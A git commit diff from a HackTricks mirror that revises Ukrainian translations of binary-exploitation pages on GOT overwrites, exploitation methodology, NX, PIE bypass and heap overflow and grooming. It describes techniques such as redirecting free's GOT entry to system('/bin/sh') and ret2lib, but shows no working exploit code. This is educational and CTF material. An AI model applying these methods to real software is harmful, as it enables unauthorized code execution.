mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
parent
c3bd1654d8
commit
ffb69939b5
@ -36,15 +36,15 @@
|
||||
|
||||
У бінарному файлі GOT має **адреси до функцій або** до **сектора PLT**, який завантажить адресу функції. Мета цього довільного запису - **перезаписати запис GOT** функції, яка буде виконана пізніше **з** **адресою** PLT функції **`system`** наприклад.
|
||||
|
||||
Ідеально, ви будете **перезаписувати** **GOT** функції, яка **буде викликана з параметрами, контрольованими вами** (так що ви зможете контролювати параметри, надіслані до функції системи).
|
||||
Ідеально, ви будете **перезаписувати** **GOT** функції, яка **буде викликана з параметрами, контрольованими вами** (щоб ви могли контролювати параметри, що передаються функції системи).
|
||||
|
||||
Якщо **`system`** **не використовується** бінарним файлом, функція системи **не матиме** запису в PLT. У цьому сценарії вам **потрібно спочатку витікати адресу** функції `system`, а потім перезаписати GOT, щоб вказати на цю адресу.
|
||||
Якщо **`system`** **не використовується** бінарним файлом, функція системи **не матиме** запису в PLT. У цьому сценарії вам **потрібно спочатку витягнути адресу** функції `system`, а потім перезаписати GOT, щоб вказати на цю адресу.
|
||||
|
||||
Ви можете побачити адреси PLT за допомогою **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## Записи GOT libc
|
||||
|
||||
**GOT libc** зазвичай компілюється з **частковим RELRO**, що робить його гарною мішенню для цього, якщо можливо з'ясувати його адресу ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
**GOT libc** зазвичай компілюється з **частковим RELRO**, що робить його гарною мішенню для цього, якщо можливо з'ясувати його адресу ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
|
||||
|
||||
Звичайні функції libc будуть викликати **інші внутрішні функції**, адреси GOT яких можуть бути перезаписані для отримання виконання коду.
|
||||
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
### **Free2system**
|
||||
|
||||
У експлуатації купи CTF часто можна контролювати вміст частин і в якийсь момент навіть перезаписати таблицю GOT. Простий трюк для отримання RCE, якщо один гаджет недоступний, - це перезаписати адресу GOT `free`, щоб вказати на `system` і записати в частину `"/bin/sh"`. Таким чином, коли ця частина буде звільнена, вона виконає `system("/bin/sh")`.
|
||||
У експлуатації купи CTF часто можна контролювати вміст частин і в якийсь момент навіть перезаписати таблицю GOT. Простий трюк для отримання RCE, якщо один з гаджетів недоступний, - це перезаписати адресу GOT `free`, щоб вказати на `system` і записати в частину `"/bin/sh"`. Таким чином, коли ця частина буде звільнена, вона виконає `system("/bin/sh")`.
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
@ -60,7 +60,7 @@
|
||||
|
||||
Більше того, якщо `puts` використовується з введенням користувача, можливо перезаписати адресу GOT `strlen`, щоб вказати на `system` і передати рядок `"/bin/sh"`, щоб отримати оболонку, оскільки **`puts` викликатиме `strlen` з введенням користувача**.
|
||||
|
||||
## **Один гаджет**
|
||||
## **One Gadget**
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Основна Методологія Бінарної Експлуатації
|
||||
# Основна методологія експлуатації бінарних файлів
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна Інформація про ELF
|
||||
## Основна інформація про ELF
|
||||
|
||||
Перед початком експлуатації чогось цікаво зрозуміти частину структури **ELF бінарного файлу**:
|
||||
|
||||
@ -10,102 +10,102 @@
|
||||
elf-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Інструменти для Експлуатації
|
||||
## Інструменти для експлуатації
|
||||
|
||||
{{#ref}}
|
||||
tools/
|
||||
{{#endref}}
|
||||
|
||||
## Методологія Переповнення Стеку
|
||||
## Методологія переповнення стеку
|
||||
|
||||
З такою кількістю технік добре мати схему, коли кожна техніка буде корисною. Зверніть увагу, що ті ж самі захисти вплинуть на різні техніки. Ви можете знайти способи обійти захисти в кожному розділі захисту, але не в цій методології.
|
||||
|
||||
## Контроль Потоку
|
||||
## Контроль потоку
|
||||
|
||||
Існує кілька способів, як ви можете контролювати потік програми:
|
||||
|
||||
- [**Переповнення Стеку**](../stack-overflow/) переписуючи вказівник повернення зі стека або EBP -> ESP -> EIP.
|
||||
- Можливо, потрібно зловживати [**Цілочисельними Переповненнями**](../integer-overflow.md), щоб викликати переповнення.
|
||||
- Або через **Довільні Записи + Записати Що Де до Виконання**.
|
||||
- [**Форматні рядки**](../format-strings/)**:** Зловживати `printf`, щоб записати довільний вміст у довільні адреси.
|
||||
- [**Індексація Масивів**](../array-indexing.md): Зловживати погано спроектованою індексацією, щоб мати можливість контролювати деякі масиви та отримати довільний запис.
|
||||
- Можливо, потрібно зловживати [**Цілочисельними Переповненнями**](../integer-overflow.md), щоб викликати переповнення.
|
||||
- [**Переповнення стеку**](../stack-overflow/index.html), переписуючи вказівник повернення зі стеку або EBP -> ESP -> EIP.
|
||||
- Можливо, потрібно зловживати [**переповненням цілого числа**](../integer-overflow.md), щоб викликати переповнення.
|
||||
- Або через **Довільні записи + Записати що де виконання**.
|
||||
- [**Форматні рядки**](../format-strings/index.html)**:** Зловживати `printf`, щоб записати довільний вміст у довільні адреси.
|
||||
- [**Індексація масивів**](../array-indexing.md): Зловживати погано спроектованою індексацією, щоб мати можливість контролювати деякі масиви та отримати довільний запис.
|
||||
- Можливо, потрібно зловживати [**переповненням цілого числа**](../integer-overflow.md), щоб викликати переповнення.
|
||||
- **bof до WWW через ROP**: Зловживати переповненням буфера, щоб побудувати ROP і мати можливість отримати WWW.
|
||||
|
||||
Ви можете знайти техніки **Записати Що Де до Виконання** в:
|
||||
Ви можете знайти техніки **Записати що де виконання** в:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
## Вічні Цикли
|
||||
## Вічні цикли
|
||||
|
||||
Що слід врахувати, так це те, що зазвичай **лише одна експлуатація вразливості може бути недостатньою** для виконання успішної експлуатації, особливо деякі захисти потрібно обійти. Тому цікаво обговорити деякі варіанти, щоб **зробити одну вразливість експлуатованою кілька разів** в одному виконанні бінарного файлу:
|
||||
Що слід врахувати, так це те, що зазвичай **лише одне використання вразливості може бути недостатнім** для виконання успішної експлуатації, особливо деякі захисти потрібно обійти. Тому цікаво обговорити деякі варіанти, щоб **зробити одну вразливість експлуатованою кілька разів** в одному виконанні бінарного файлу:
|
||||
|
||||
- Записати в **ROP** ланцюг адресу **`main` функції** або адресу, де відбувається **вразливість**.
|
||||
- Контролюючи правильний ROP ланцюг, ви можете виконати всі дії в цьому ланцюгу.
|
||||
- Записати в **`exit` адресу в GOT** (або будь-яку іншу функцію, що використовується бінарним файлом перед завершенням) адресу, щоб **повернутися до вразливості**.
|
||||
- Записати в **`exit` адресу в GOT** (або будь-яку іншу функцію, що використовується бінарним файлом перед завершенням) адресу, щоб повернутися **до вразливості**.
|
||||
- Як пояснено в [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** зберігайте тут 2 функції, одну для повторного виклику вразливості та іншу для виклику **`__libc_csu_fini`**, яка знову викликатиме функцію з `.fini_array`.
|
||||
|
||||
## Цілі Експлуатації
|
||||
## Цілі експлуатації
|
||||
|
||||
### Мета: Виклик Існуючої Функції
|
||||
### Мета: Виклик існуючої функції
|
||||
|
||||
- [**ret2win**](#ret2win): Існує функція в коді, яку потрібно викликати (можливо, з деякими специфічними параметрами), щоб отримати прапор.
|
||||
- У **звичайному bof без** [**PIE**](../common-binary-protections-and-bypasses/pie/) **та** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) вам просто потрібно записати адресу у вказівник повернення, збережений у стеці.
|
||||
- У bof з [**PIE**](../common-binary-protections-and-bypasses/pie/), вам потрібно буде обійти його.
|
||||
- У bof з [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), вам потрібно буде обійти його.
|
||||
- У **звичайному bof без** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **та** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) вам просто потрібно записати адресу у вказівник повернення, збережений у стеку.
|
||||
- У bof з [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) вам потрібно буде обійти його.
|
||||
- У bof з [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) вам потрібно буде обійти його.
|
||||
- Якщо вам потрібно встановити кілька параметрів для правильного виклику функції **ret2win**, ви можете використовувати:
|
||||
- [**ROP**](#rop-and-ret2...-techniques) **ланцюг, якщо є достатньо гаджетів** для підготовки всіх параметрів.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (якщо ви можете викликати цей системний виклик) для контролю багатьох регістрів.
|
||||
- Ланцюг [**ROP**](#rop-and-ret2...-techniques), якщо є достатньо гаджетів для підготовки всіх параметрів.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (якщо ви можете викликати цей системний виклик) для контролю багатьох регістрів.
|
||||
- Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для контролю кількох регістрів.
|
||||
- Через [**Записати Що Де**](../arbitrary-write-2-exec/) ви могли б зловживати іншими вразливостями (не bof), щоб викликати функцію **`win`**.
|
||||
- [**Перенаправлення Вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, переписати цю адресу.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
|
||||
- Через [**Записати що де**](../arbitrary-write-2-exec/index.html) ви можете зловживати іншими вразливостями (не bof), щоб викликати функцію **`win`**.
|
||||
- [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, переписати цю адресу.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) або [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) можуть вплинути на адреси.
|
||||
- [**Невизначені змінні**](../stack-overflow/uninitialized-variables.md): Ви ніколи не знаєте.
|
||||
|
||||
### Мета: RCE
|
||||
|
||||
#### Через shellcode, якщо nx вимкнено або змішуючи shellcode з ROP:
|
||||
|
||||
- [**(Stack) Shellcode**](#stack-shellcode): Це корисно для зберігання shellcode у стеці до або після переписування вказівника повернення, а потім **перейти до нього** для виконання:
|
||||
- **У будь-якому випадку, якщо є** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** у звичайному bof вам потрібно буде обійти (викрити) його.
|
||||
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **та** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) можливо перейти до адреси стека, оскільки вона ніколи не зміниться.
|
||||
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) вам потрібно буде використовувати техніки, такі як [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), щоб перейти до нього.
|
||||
- **З** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), вам потрібно буде використовувати деякі [**ROP**](../rop-return-oriented-programing/) **для виклику `memprotect`** і зробити деяку сторінку `rwx`, щоб потім **зберегти shellcode там** (викликавши read, наприклад) і потім перейти туди.
|
||||
- [**(Stack) Shellcode**](#stack-shellcode): Це корисно для зберігання shellcode у стеку до або після переписування вказівника повернення, а потім **перейти до нього**, щоб виконати його:
|
||||
- **У будь-якому випадку, якщо є** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** у звичайному bof вам потрібно буде обійти (викрити) його.
|
||||
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **та** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) можливо перейти до адреси стеку, оскільки вона ніколи не зміниться.
|
||||
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) вам потрібно буде використовувати такі техніки, як [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), щоб перейти до нього.
|
||||
- **З** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) вам потрібно буде використовувати деякі [**ROP**](../rop-return-oriented-programing/index.html) **для виклику `memprotect`** і зробити деякі сторінки `rwx`, щоб потім **зберегти shellcode там** (викликавши read, наприклад) і потім перейти туди.
|
||||
- Це змішає shellcode з ROP ланцюгом.
|
||||
|
||||
#### Через системні виклики
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Корисно для виклику `execve`, щоб виконати довільні команди. Вам потрібно бути в змозі знайти **гаджети для виклику конкретного системного виклику з параметрами**.
|
||||
- Якщо [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) увімкнені, вам потрібно буде їх обійти **для використання ROP гаджетів** з бінарного файлу або бібліотек.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) може бути корисним для підготовки **ret2execve**.
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Корисно для виклику `execve`, щоб виконати довільні команди. Вам потрібно буде знайти **гаджети для виклику конкретного системного виклику з параметрами**.
|
||||
- Якщо [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) або [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) увімкнені, вам потрібно буде їх подолати **для використання ROP гаджетів** з бінарного файлу або бібліотек.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) може бути корисним для підготовки **ret2execve**.
|
||||
- Гаджети з [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) та [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) для контролю кількох регістрів.
|
||||
|
||||
#### Через libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Корисно для виклику функції з бібліотеки (зазвичай з **`libc`**) як **`system`** з деякими підготовленими аргументами (наприклад, `'/bin/sh'`). Вам потрібно, щоб бінарний файл **завантажив бібліотеку** з функцією, яку ви хочете викликати (зазвичай libc).
|
||||
- Якщо **статично скомпільовано і без** [**PIE**](../common-binary-protections-and-bypasses/pie/), **адреса** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
|
||||
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **і знаючи версію libc**, завантажену, **адреса** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
|
||||
- З [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **але без** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, знаючи libc і з бінарним файлом, що використовує функцію `system`**, можливо **`ret` до адреси system в GOT** з адресою `'/bin/sh'` в параметрі (вам потрібно буде це з'ясувати).
|
||||
- З [ASLR](../common-binary-protections-and-bypasses/aslr/) але без [PIE](../common-binary-protections-and-bypasses/pie/), знаючи libc і **без бінарного файлу, що використовує `system`**:
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Корисно для виклику функції з бібліотеки (зазвичай з **`libc`**) як **`system`** з деякими підготовленими аргументами (наприклад, `'/bin/sh'`). Вам потрібно, щоб бінарний файл **завантажив бібліотеку** з функцією, яку ви хочете викликати (зазвичай libc).
|
||||
- Якщо **статично скомпільовано і без** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **адреси** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
|
||||
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **і знаючи версію libc**, **адреси** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
|
||||
- З [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **але без** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, знаючи libc і з бінарним файлом, що використовує функцію `system`**, можливо **`ret` до адреси system в GOT** з адресою `'/bin/sh'` в параметрі (вам потрібно буде це з'ясувати).
|
||||
- З [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) але без [PIE](../common-binary-protections-and-bypasses/pie/index.html), знаючи libc і **без бінарного файлу, що використовує `system`**:
|
||||
- Використовуйте [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), щоб вирішити адресу `system` і викликати її.
|
||||
- **Обійти** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) і обчислити адресу `system` і `'/bin/sh'` в пам'яті.
|
||||
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **і** [**PIE**](../common-binary-protections-and-bypasses/pie/) **і не знаючи libc**: Вам потрібно:
|
||||
- Обійти [**PIE**](../common-binary-protections-and-bypasses/pie/).
|
||||
- Знайти **версію `libc`**, що використовується (викрити пару адрес функцій).
|
||||
- **Обійти** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) і обчислити адреси `system` і `'/bin/sh'` в пам'яті.
|
||||
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **і** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **і не знаючи libc**: Вам потрібно:
|
||||
- Обійти [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
|
||||
- Знайти **версію `libc`**, що використовується (викрити кілька адрес функцій).
|
||||
- Перевірити **попередні сценарії з ASLR**, щоб продовжити.
|
||||
|
||||
#### Через EBP/RBP
|
||||
|
||||
- [**Поворот Стеку / EBP2Ret / EBP Ланцюгування**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Контролюйте ESP, щоб контролювати RET через збережений EBP у стеці.
|
||||
- Корисно для **off-by-one** переповнень стека.
|
||||
- Корисно як альтернативний спосіб контролювати EIP, зловживаючи EIP для побудови корисного навантаження в пам'яті, а потім переходячи до нього через EBP.
|
||||
- [**Поворот стеку / EBP2Ret / EBP ланцюгування**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Контролюйте ESP, щоб контролювати RET через збережений EBP у стеку.
|
||||
- Корисно для **off-by-one** переповнень стеку.
|
||||
- Корисно як альтернативний спосіб закінчити контроль EIP, зловживаючи EIP для побудови корисного навантаження в пам'яті, а потім переходячи до нього через EBP.
|
||||
|
||||
#### Різне
|
||||
|
||||
- [**Перенаправлення Вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, переписати цю адресу.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
|
||||
- [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, переписати цю адресу.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) або [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) можуть вплинути на адреси.
|
||||
- [**Невизначені змінні**](../stack-overflow/uninitialized-variables.md): Ви ніколи не знаєте.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє між регіонами пам'яті, які призначені для **виконуваного коду**, і тими, що призначені для **даних**, такими як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти виконанню зловмисного коду зловмисником через вразливості переповнення буфера, поміщаючи зловмисний код, наприклад, у стек і направляючи виконання до нього.
|
||||
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє між регіонами пам'яті, які призначені для **виконуваного коду**, і тими, що призначені для **даних**, такими як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти зловмиснику виконувати шкідливий код через вразливості переповнення буфера, поміщаючи шкідливий код, наприклад, у стек і направляючи виконання до нього.
|
||||
|
||||
## Обходи
|
||||
|
||||
- Можливо використовувати такі техніки, як [**ROP**](../rop-return-oriented-programing/), **щоб обійти** цю захист, виконуючи частини виконуваного коду, які вже присутні в бінарному файлі.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- Можливо використовувати такі техніки, як [**ROP**](../rop-return-oriented-programing/index.html) **для обходу** цієї захисту, виконуючи частини виконуваного коду, які вже присутні в бінарному файлі.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
|
||||
- **Ret2...**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,14 +6,14 @@
|
||||
|
||||
Бінарний файл, скомпільований як PIE, або **Position Independent Executable**, означає, що **програма може завантажуватися в різних місцях пам'яті** щоразу, коли вона виконується, запобігаючи жорстко закодованим адресам.
|
||||
|
||||
Трюк для експлуатації цих бінарних файлів полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються однаковими, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки ви отримали адресу, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
|
||||
Трюк для експлуатації цих бінарних файлів полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються незмінними, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки у вас є адреса, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
|
||||
|
||||
Корисна підказка при експлуатації бінарних файлів PIE полягає в тому, що їх **базова адреса зазвичай закінчується на 000** через те, що сторінки пам'яті є одиницями рандомізації, розміром 0x1000 байт. Це вирівнювання може бути критичною **перевіркою, якщо експлуатація не працює** так, як очікувалося, вказуючи на те, чи була ідентифікована правильна базова адреса.\
|
||||
Або ви можете використовувати це для вашої експлуатації, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса `0x649e1000`** і з цього ви можете просто **обчислити зміщення** функцій і місць.
|
||||
|
||||
## Обходи
|
||||
|
||||
Щоб обійти PIE, потрібно **витікати якусь адресу завантаженого** бінарного файлу, для цього є кілька варіантів:
|
||||
Щоб обійти PIE, потрібно **витикувати якусь адресу завантаженого** бінарного файлу, для цього є кілька варіантів:
|
||||
|
||||
- **Вимкнений ASLR**: Якщо ASLR вимкнено, бінарний файл, скомпільований з PIE, завжди **буде завантажуватися за тією ж адресою**, отже, **PIE буде марним**, оскільки адреси об'єктів завжди будуть в одному і тому ж місці.
|
||||
- Отримати **витік** (поширено в простих CTF завданнях, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
@ -23,7 +23,7 @@
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- Використовувати вразливість **произвольного читання**, таку як [**форматний рядок**](../../format-strings/), щоб витікати адресу бінарного файлу (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- Використовуйте вразливість **произвольного читання**, таку як [**форматний рядок**](../../format-strings/index.html), щоб витікати адресу бінарного файлу (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
|
||||
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/index.html), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
|
||||
|
||||
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи, **за замовчуванням у фрагменті купи не зберігається жодна чутлива інформація.** Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживати.
|
||||
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в купі, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися.
|
||||
|
||||
> [!TIP]
|
||||
> Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
@ -15,27 +15,27 @@
|
||||
|
||||
У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди зростаючим у зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією.
|
||||
|
||||
Однак у випадку переповнення купи використана пам'ять не є лінійною, а **використані фрагменти зазвичай знаходяться в окремих позиціях пам'яті** (не один біля одного) через **контейнери та зони**, які розділяють алокації за розміром, і тому що **попередньо звільнена пам'ять використовується** перед алокацією нових фрагментів. Важко **знати об'єкт, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
|
||||
Однак у випадку переповнення купи використовувана пам'ять не є лінійною, а **використовувані шматки зазвичай знаходяться в окремих позиціях пам'яті** (не один біля одного) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових шматків. Це **складно знати об'єкт, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
|
||||
|
||||
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання фрагментів пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на фрагменти очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці фрагменти використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання шматків пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на шматки очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці шматки використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||
|
||||
Отже, у попередньому пості, де відбувається переповнення купи, щоб примусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити, щоб усі вільні фрагменти були заповнені і щоб була створена нова сторінка**.
|
||||
Отже, у попередньому пості, де відбувається переповнення купи, щоб змусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних шматків і створити нову сторінку**.
|
||||
|
||||
Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно звільнена назад до `kfree`.
|
||||
|
||||
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший вийшов**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлойт намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
||||
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший пішов**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлойт намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
||||
|
||||
### Example libc
|
||||
|
||||
